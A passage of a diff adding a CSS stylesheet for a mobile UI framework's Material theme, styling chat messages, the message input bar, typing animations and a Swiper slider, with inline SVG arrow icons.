end; + align-self: flex-end; +} +.message-received { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -webkit-flex-direction: row; + -ms-flex-direction: row; + flex-direction: row; +} +.message-received .message-content { + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; +} +.message-sent .message-content { + -webkit-box-align: end; + -webkit-align-items: flex-end; + -ms-flex-align: end; + align-items: flex-end; +} +.message:not(.message-last) .message-avatar { + opacity: 0; +} +.message:not(.message-first) .message-name { + display: none; +} +.message.message-same-name .message-name { + display: none; +} +.message.message-same-header .message-header { + display: none; +} +.message.message-same-footer .message-footer { + display: none; +} +.message-appear-from-bottom { + -webkit-animation: message-appear-from-bottom 300ms; + animation: message-appear-from-bottom 300ms; +} +.message-appear-from-top { + -webkit-animation: message-appear-from-top 300ms; + animation: message-appear-from-top 300ms; +} +.message-typing-indicator { + display: inline-block; + font-size: 0; + vertical-align: middle; +} +.message-typing-indicator > div { + display: inline-block; + position: relative; + background: #000; + vertical-align: middle; + border-radius: 50%; +} +@-webkit-keyframes message-appear-from-bottom { + from { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +@keyframes message-appear-from-bottom { + from { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +@-webkit-keyframes message-appear-from-top { + from { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +@keyframes message-appear-from-top { + from { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +.md .messages-content, +.md .messages { + background: #eee; +} +.md .message { + margin-top: 16px; +} +.md .message:last-child { + margin-bottom: 16px; +} +.md .messages-title { + font-size: 12px; + color: rgba(0, 0, 0, 0.51); + margin-top: 16px; +} +.md .messages-title:last-child { + margin-bottom: 16px; +} +.md .messages-title b { + font-weight: 500; +} +.md .message-avatar { + width: 32px; + height: 32px; +} +.md .message-header, +.md .message-footer, +.md .message-name { + color: rgba(0, 0, 0, 0.51); +} +.md .message-header b, +.md .message-footer b, +.md .message-name b { + font-weight: 500; +} +.md .message-header, +.md .message-name { + margin-bottom: 2px; +} +.md .message-footer { + margin-top: 2px; +} +.md .message-bubble { + font-size: 16px; + border-radius: 2px; + padding: 6px 8px; + min-height: 32px; +} +.md .message-text-header, +.md .message-text-footer { + color: rgba(0, 0, 0, 0.51); +} +.md .message-text-header { + margin-bottom: 4px; +} +.md .message-text-footer { + margin-top: 4px; +} +.md .message-received { + margin-left: 8px; +} +.md .message-received .message-bubble { + color: #333; + background: #fff; +} +.md .message-received .message-avatar + .message-content { + margin-left: 8px; +} +.md .message-received.message-tail .message-bubble { + border-radius: 2px 2px 2px 0; +} +.md .message-received.message-tail .message-bubble:before { + position: absolute; + content: ''; + border-left: 8px solid transparent; + border-right: 0 solid transparent; + border-bottom: 8px solid #fff; + right: 100%; + bottom: 0; + width: 0; + height: 0; +} +.md .message-sent { + margin-right: 8px; +} +.md .message-sent .message-bubble { + color: #333; + background: #c8e6c9; +} +.md .message-sent .message-avatar + .message-content { + margin-right: 8px; +} +.md .message-sent.message-tail .message-bubble { + border-radius: 2px 2px 0 2px; +} +.md .message-sent.message-tail .message-bubble:before { + position: absolute; + content: ''; + border-right: 8px solid transparent; + border-left: 0 solid transparent; + border-bottom: 8px solid #c8e6c9; + left: 100%; + bottom: 0; + width: 0; + height: 0; +} +.md .message + .message:not(.message-first) { + margin-top: 8px; +} +.md .message-typing-indicator > div { + width: 6px; + height: 6px; + opacity: 0.6; +} +.md .message-typing-indicator > div + div { + margin-left: 6px; +} +.md .message-typing-indicator > div:nth-child(1) { + -webkit-animation: md-message-typing-indicator 900ms infinite; + animation: md-message-typing-indicator 900ms infinite; +} +.md .message-typing-indicator > div:nth-child(2) { + -webkit-animation: md-message-typing-indicator 900ms 150ms infinite; + animation: md-message-typing-indicator 900ms 150ms infinite; +} +.md .message-typing-indicator > div:nth-child(3) { + -webkit-animation: md-message-typing-indicator 900ms 300ms infinite; + animation: md-message-typing-indicator 900ms 300ms infinite; +} +.md .theme-dark .messages-content, +.messages-content.md .theme-dark, +.md .theme-dark .messages, +.messages.md .theme-dark { + background-color: transparent; +} +.md .theme-dark .messages-title { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .message-header, +.md .theme-dark .message-footer, +.md .theme-dark .message-name { + color: rgba(255, 255, 255, 0.54); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .message-received, + .md.device-iphone-x .ios-edges .message-received, + .md.device-iphone-x .popup .message-received, + .md.device-iphone-x .sheet-modal .message-received, + .md.device-iphone-x .panel-left .message-received { + margin-left: calc(8px + constant(safe-area-inset-left)); + margin-left: calc(8px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .message-sent, + .md.device-iphone-x .ios-edges .message-sent, + .md.device-iphone-x .popup .message-sent, + .md.device-iphone-x .sheet-modal .message-sent, + .md.device-iphone-x .panel-right .message-sent { + margin-right: calc(8px + constant(safe-area-inset-right)); + margin-right: calc(8px + env(safe-area-inset-right)); + } +} +@-webkit-keyframes md-message-typing-indicator { + 0% { + -webkit-transform: translateY(0%); + transform: translateY(0%); + } + 25% { + -webkit-transform: translateY(-5px); + transform: translateY(-5px); + } + 50% { + -webkit-transform: translateY(0%); + transform: translateY(0%); + } +} +@keyframes md-message-typing-indicator { + 0% { + -webkit-transform: translateY(0%); + transform: translateY(0%); + } + 25% { + -webkit-transform: translateY(-5px); + transform: translateY(-5px); + } + 50% { + -webkit-transform: translateY(0%); + transform: translateY(0%); + } +} +/* === Messagebar === */ +.toolbar.messagebar { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + background: #fff; + height: auto; +} +.toolbar.messagebar .toolbar-inner { + position: relative; +} +.toolbar.messagebar .messagebar-area { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + overflow: hidden; + position: relative; +} +.toolbar.messagebar textarea { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; +} +.toolbar.messagebar a.link { + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.messagebar-attachments { + width: 100%; + overflow: auto; + -webkit-overflow-scrolling: touch; + font-size: 0; + white-space: nowrap; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; +} +.messagebar:not(.messagebar-attachments-visible) .messagebar-attachments { + display: none; +} +.messagebar-attachment { + background-size: cover; + background-position: center; + background-repeat: no-repeat; + display: inline-block; + vertical-align: middle; + white-space: normal; + height: 155px; + position: relative; +} +@media (orientation: landscape) { + .messagebar-attachment { + height: 120px; + } +} +.messagebar-attachment img { + display: block; + width: auto; + height: 100%; +} +.messagebar-attachment + .messagebar-attachment { + margin-left: 8px; +} +.messagebar-sheet { + overflow: auto; + -webkit-overflow-scrolling: touch; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + -webkit-align-content: flex-start; + -ms-flex-line-pack: start; + align-content: flex-start; + height: 252px; +} +@media (orientation: landscape) { + .messagebar-sheet { + height: 192px; + } +} +.messagebar-sheet-image, +.messagebar-sheet-item { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + margin-top: 1px; + position: relative; + overflow: hidden; + height: 125px; + width: 125px; + margin-left: 1px; +} +@media (orientation: landscape) { + .messagebar-sheet-image, + .messagebar-sheet-item { + width: 95px; + height: 95px; + } +} +.messagebar-sheet-image .icon-checkbox, +.messagebar-sheet-item .icon-checkbox, +.messagebar-sheet-image .icon-radio, +.messagebar-sheet-item .icon-radio { + position: absolute; + right: 8px; + bottom: 8px; +} +.messagebar-sheet-image { + background-size: cover; + background-position: center; + background-repeat: no-repeat; +} +.messagebar-attachment-delete { + display: block; + position: absolute; + border-radius: 50%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + cursor: pointer; + -webkit-box-shadow: 0px 0px 2px rgba(0, 0, 0, 0.2); + box-shadow: 0px 0px 2px rgba(0, 0, 0, 0.2); +} +.messagebar-attachment-delete:after, +.messagebar-attachment-delete:before { + position: absolute; + content: ''; + left: 50%; + top: 50%; +} +.messagebar-attachment-delete:after { + -webkit-transform: rotate(45deg); + transform: rotate(45deg); +} +.messagebar-attachment-delete:before { + -webkit-transform: rotate(-45deg); + transform: rotate(-45deg); +} +.messagebar:not(.messagebar-sheet-visible) .messagebar-sheet { + display: none; +} +.ios.device-iphone-x .messagebar:not(.messagebar-top), +.md.device-iphone-x .messagebar:not(.messagebar-top) { + height: auto !important; +} +.ios.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible), +.md.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible) { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.ios.device-iphone-x .messagebar-sheet, +.md.device-iphone-x .messagebar-sheet { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.md .messagebar { + font-size: 16px; +} +.md .messagebar:after { + display: none; +} +.md .messagebar textarea { + padding: 5px 8px; + height: 32px; + color: #333; + font-size: 16px; + line-height: 22px; +} +.md .messagebar a.link { + color: #333; +} +.md .messagebar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .messagebar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .messagebar:before { + content: ''; + position: absolute; + background-color: #d1d1d1; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .messagebar:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .messagebar:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .messagebar-attachments { + padding: 8px; + border-bottom: 1px solid #ddd; +} +.md .messagebar-area { + margin-top: 8px; + margin-bottom: 8px; +} +.md .messagebar-sheet { + background: #fff; +} +.md .messagebar-sheet-image .icon-checkbox, +.md .messagebar-sheet-item .icon-checkbox { + border-color: #fff; + background: rgba(255, 255, 255, 0.25); + -webkit-box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.5); + box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.5); +} +.md .messagebar-attachment-delete { + right: 8px; + top: 8px; + width: 24px; + height: 24px; + background: #2196f3; + cursor: pointer; + border-radius: 2px; +} +.md .messagebar-attachment-delete:after, +.md .messagebar-attachment-delete:before { + width: 14px; + height: 2px; + background: #fff; + margin-left: -7px; + margin-top: -1px; +} +.md .theme-dark .messagebar, +.messagebar.md .theme-dark { + background: #000; +} +.md .theme-dark .messagebar:before, +.messagebar.md .theme-dark:before { + background-color: rgba(255, 255, 255, 0.2); +} +.md .theme-dark .messagebar a.link, +.messagebar.md .theme-dark a.link { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .messagebar a.link:before, +.messagebar.md .theme-dark a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .theme-dark .messagebar a.link.active-state:before, +.messagebar.md .theme-dark a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .theme-dark .messagebar textarea, +.messagebar.md .theme-dark textarea { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .messagebar-attachments { + border-bottom-color: rgba(255, 255, 255, 0.2); +} +/* === Swiper === */ +.swiper-container { + margin: 0 auto; + position: relative; + overflow: hidden; + list-style: none; + padding: 0; + /* Fix of Webkit flickering */ + z-index: 1; +} +.swiper-container-no-flexbox .swiper-slide { + float: left; +} +.swiper-container-vertical > .swiper-wrapper { + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.swiper-wrapper { + position: relative; + width: 100%; + height: 100%; + z-index: 1; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-box-sizing: content-box; + box-sizing: content-box; +} +.swiper-container-android .swiper-slide, +.swiper-wrapper { + -webkit-transform: translate3d(0px, 0, 0); + transform: translate3d(0px, 0, 0); +} +.swiper-container-multirow > .swiper-wrapper { + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; +} +.swiper-container-free-mode > .swiper-wrapper { + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; + margin: 0 auto; +} +.swiper-slide { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + width: 100%; + height: 100%; + position: relative; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.swiper-invisible-blank-slide { + visibility: hidden; +} +/* Auto Height */ +.swiper-container-autoheight, +.swiper-container-autoheight .swiper-slide { + height: auto; +} +.swiper-container-autoheight .swiper-wrapper { + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; + -webkit-transition-property: height, -webkit-transform; + transition-property: height, -webkit-transform; + transition-property: transform, height; + transition-property: transform, height, -webkit-transform; +} +/* 3D Effects */ +.swiper-container-3d { + -webkit-perspective: 1200px; + perspective: 1200px; +} +.swiper-container-3d .swiper-wrapper, +.swiper-container-3d .swiper-slide, +.swiper-container-3d .swiper-slide-shadow-left, +.swiper-container-3d .swiper-slide-shadow-right, +.swiper-container-3d .swiper-slide-shadow-top, +.swiper-container-3d .swiper-slide-shadow-bottom, +.swiper-container-3d .swiper-cube-shadow { + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +.swiper-container-3d .swiper-slide-shadow-left, +.swiper-container-3d .swiper-slide-shadow-right, +.swiper-container-3d .swiper-slide-shadow-top, +.swiper-container-3d .swiper-slide-shadow-bottom { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + pointer-events: none; + z-index: 10; +} +.swiper-container-3d .swiper-slide-shadow-left { + background-image: -webkit-gradient(linear, right top, left top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(right, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to left, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +.swiper-container-3d .swiper-slide-shadow-right { + background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +.swiper-container-3d .swiper-slide-shadow-top { + background-image: -webkit-gradient(linear, left bottom, left top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(bottom, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to top, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +.swiper-container-3d .swiper-slide-shadow-bottom { + background-image: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +/* IE10 Windows Phone 8 Fixes */ +.swiper-container-wp8-horizontal, +.swiper-container-wp8-horizontal > .swiper-wrapper { + -ms-touch-action: pan-y; + touch-action: pan-y; +} +.swiper-container-wp8-vertical, +.swiper-container-wp8-vertical > .swiper-wrapper { + -ms-touch-action: pan-x; + touch-action: pan-x; +} +/* a11y */ +.swiper-container .swiper-notification { + position: absolute; + left: 0; + top: 0; + pointer-events: none; + opacity: 0; + z-index: -1000; +} +.swiper-container-coverflow .swiper-wrapper { + /* Windows 8 IE 10 fix */ + -ms-perspective: 1200px; +} +.swiper-container-cube { + overflow: visible; +} +.swiper-container-cube .swiper-slide { + pointer-events: none; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + z-index: 1; + visibility: hidden; + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + width: 100%; + height: 100%; +} +.swiper-container-cube .swiper-slide .swiper-slide { + pointer-events: none; +} +.swiper-container-cube.swiper-container-rtl .swiper-slide { + -webkit-transform-origin: 100% 0; + transform-origin: 100% 0; +} +.swiper-container-cube .swiper-slide-active, +.swiper-container-cube .swiper-slide-active .swiper-slide-active { + pointer-events: auto; +} +.swiper-container-cube .swiper-slide-active, +.swiper-container-cube .swiper-slide-next, +.swiper-container-cube .swiper-slide-prev, +.swiper-container-cube .swiper-slide-next + .swiper-slide { + pointer-events: auto; + visibility: visible; +} +.swiper-container-cube .swiper-slide-shadow-top, +.swiper-container-cube .swiper-slide-shadow-bottom, +.swiper-container-cube .swiper-slide-shadow-left, +.swiper-container-cube .swiper-slide-shadow-right { + z-index: 0; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +.swiper-container-cube .swiper-cube-shadow { + position: absolute; + left: 0; + bottom: 0px; + width: 100%; + height: 100%; + background: #000; + opacity: 0.6; + -webkit-filter: blur(50px); + filter: blur(50px); + z-index: 0; +} +.swiper-container-fade.swiper-container-free-mode .swiper-slide { + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; +} +.swiper-container-fade .swiper-slide { + pointer-events: none; + -webkit-transition-property: opacity; + transition-property: opacity; +} +.swiper-container-fade .swiper-slide .swiper-slide { + pointer-events: none; +} +.swiper-container-fade .swiper-slide-active, +.swiper-container-fade .swiper-slide-active .swiper-slide-active { + pointer-events: auto; +} +.swiper-container-flip { + overflow: visible; +} +.swiper-container-flip .swiper-slide { + pointer-events: none; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + z-index: 1; +} +.swiper-container-flip .swiper-slide .swiper-slide { + pointer-events: none; +} +.swiper-container-flip .swiper-slide-active, +.swiper-container-flip .swiper-slide-active .swiper-slide-active { + pointer-events: auto; +} +.swiper-container-flip .swiper-slide-shadow-top, +.swiper-container-flip .swiper-slide-shadow-bottom, +.swiper-container-flip .swiper-slide-shadow-left, +.swiper-container-flip .swiper-slide-shadow-right { + z-index: 0; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +/* Scrollbar */ +.swiper-scrollbar { + border-radius: 10px; + position: relative; + -ms-touch-action: none; + background: rgba(0, 0, 0, 0.1); +} +.swiper-container-horizontal > .swiper-scrollbar { + position: absolute; + left: 1%; + bottom: 3px; + z-index: 50; + height: 5px; + width: 98%; +} +.swiper-container-vertical > .swiper-scrollbar { + position: absolute; + right: 3px; + top: 1%; + z-index: 50; + width: 5px; + height: 98%; +} +.swiper-scrollbar-drag { + height: 100%; + width: 100%; + position: relative; + background: rgba(0, 0, 0, 0.5); + border-radius: 10px; + left: 0; + top: 0; +} +.swiper-scrollbar-cursor-drag { + cursor: move; +} +.swiper-scrollbar-lock { + display: none; +} +.swiper-zoom-container { + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + text-align: center; +} +.swiper-zoom-container > img, +.swiper-zoom-container > svg, +.swiper-zoom-container > canvas { + max-width: 100%; + max-height: 100%; + -o-object-fit: contain; + object-fit: contain; +} +.swiper-slide-zoomed { + cursor: move; +} +.swiper-button-prev, +.swiper-button-next { + position: absolute; + top: 50%; + width: 27px; + height: 44px; + margin-top: -22px; + z-index: 10; + cursor: pointer; + background-size: 27px 44px; + background-position: center; + background-repeat: no-repeat; +} +.swiper-button-prev.swiper-button-disabled, +.swiper-button-next.swiper-button-disabled { + opacity: 0.35; + cursor: auto; + pointer-events: none; +} +.swiper-button-prev, +.swiper-container-rtl .swiper-button-next { + left: 10px; + right: auto; +} +.swiper-button-next, +.swiper-container-rtl .swiper-button-prev { + right: 10px; + left: auto; +} +.swiper-pagination { + position: absolute; + text-align: center; + -webkit-transition: 300ms opacity; + transition: 300ms opacity; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + z-index: 10; +} +.swiper-pagination.swiper-pagination-hidden { + opacity: 0; +} +.swiper-pagination-fraction, +.swiper-pagination-custom, +.swiper-container-horizontal > .swiper-pagination-bullets { + bottom: 10px; + left: 0; + width: 100%; +} +.swiper-pagination-bullets-dynamic { + overflow: hidden; + font-size: 0; +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { + -webkit-transform: scale(0.33); + transform: scale(0.33); + position: relative; +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active { + -webkit-transform: scale(1); + transform: scale(1); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev { + -webkit-transform: scale(0.66); + transform: scale(0.66); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev-prev { + -webkit-transform: scale(0.33); + transform: scale(0.33); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next { + -webkit-transform: scale(0.66); + transform: scale(0.66); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next-next { + -webkit-transform: scale(0.33); + transform: scale(0.33); +} +.swiper-pagination-bullet { + width: 8px; + height: 8px; + display: inline-block; + border-radius: 100%; + background: #000; + opacity: 0.2; +} +button.swiper-pagination-bullet { + border: none; + margin: 0; + padding: 0; + -webkit-box-shadow: none; + box-shadow: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; +} +.swiper-pagination-clickable .swiper-pagination-bullet { + cursor: pointer; +} +.swiper-pagination-bullet-active { + opacity: 1; +} +.swiper-container-vertical > .swiper-pagination-bullets { + right: 10px; + top: 50%; + -webkit-transform: translate3d(0px, -50%, 0); + transform: translate3d(0px, -50%, 0); +} +.swiper-container-vertical > .swiper-pagination-bullets .swiper-pagination-bullet { + margin: 6px 0; + display: block; +} +.swiper-container-vertical > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic { + top: 50%; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + width: 8px; +} +.swiper-container-vertical > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { + display: inline-block; + -webkit-transition: 200ms top, 200ms -webkit-transform; + transition: 200ms top, 200ms -webkit-transform; + transition: 200ms transform, 200ms top; + transition: 200ms transform, 200ms top, 200ms -webkit-transform; +} +.swiper-container-horizontal > .swiper-pagination-bullets .swiper-pagination-bullet { + margin: 0 4px; +} +.swiper-container-horizontal > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic { + left: 50%; + -webkit-transform: translateX(-50%); + transform: translateX(-50%); + white-space: nowrap; +} +.swiper-container-horizontal > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { + -webkit-transition: 200ms left, 200ms -webkit-transform; + transition: 200ms left, 200ms -webkit-transform; + transition: 200ms transform, 200ms left; + transition: 200ms transform, 200ms left, 200ms -webkit-transform; +} +.swiper-pagination-progressbar { + background: rgba(0, 0, 0, 0.25); + position: absolute; +} +.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + -webkit-transform: scale(0); + transform: scale(0); + -webkit-transform-origin: left top; + transform-origin: left top; +} +.swiper-container-rtl .swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + -webkit-transform-origin: right top; + transform-origin: right top; +} +.swiper-container-horizontal > .swiper-pagination-progressbar, +.swiper-container-vertical > .swiper-pagination-progressbar.swiper-pagination-progressbar-opposite { + width: 100%; + height: 4px; + left: 0; + top: 0; +} +.swiper-container-vertical > .swiper-pagination-progressbar, +.swiper-container-horizontal > .swiper-pagination-progressbar.swiper-pagination-progressbar-opposite { + width: 4px; + height: 100%; + left: 0; + top: 0; +} +.swiper-lazy-preloader { + position: absolute; + left: 50%; + top: 50%; + z-index: 10; +} +.md .swiper-lazy-preloader { + width: 32px; + height: 32px; + margin-left: -16px; + margin-top: -16px; +} +.md .swiper-button-prev, +.md .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next, +.md .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-pagination-bullet-active { + background: #2196f3; +} +.md .swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #2196f3; +} +.md .swiper-button-prev.color-red, +.md .swiper-container-rtl .swiper-button-next.color-red, +.md .color-theme-red .swiper-button-prev, +.md .color-theme-red .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-red, +.md .swiper-container-rtl .swiper-button-prev.color-red, +.md .color-theme-red .swiper-button-next, +.md .color-theme-red .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-red .swiper-pagination-bullet-active, +.md .color-theme-red .swiper-pagination-bullet-active { + background: #f44336; +} +.md .color-red .swiper-pagination-progressbar, +.md .color-theme-red .swiper-pagination-progressbar, +.md .color-red.swiper-pagination-progressbar, +.md .color-theme-red.swiper-pagination-progressbar { + background: rgba(244, 67, 54, 0.25); +} +.md .color-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #f44336; +} +.md .swiper-button-prev.color-green, +.md .swiper-container-rtl .swiper-button-next.color-green, +.md .color-theme-green .swiper-button-prev, +.md .color-theme-green .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-green, +.md 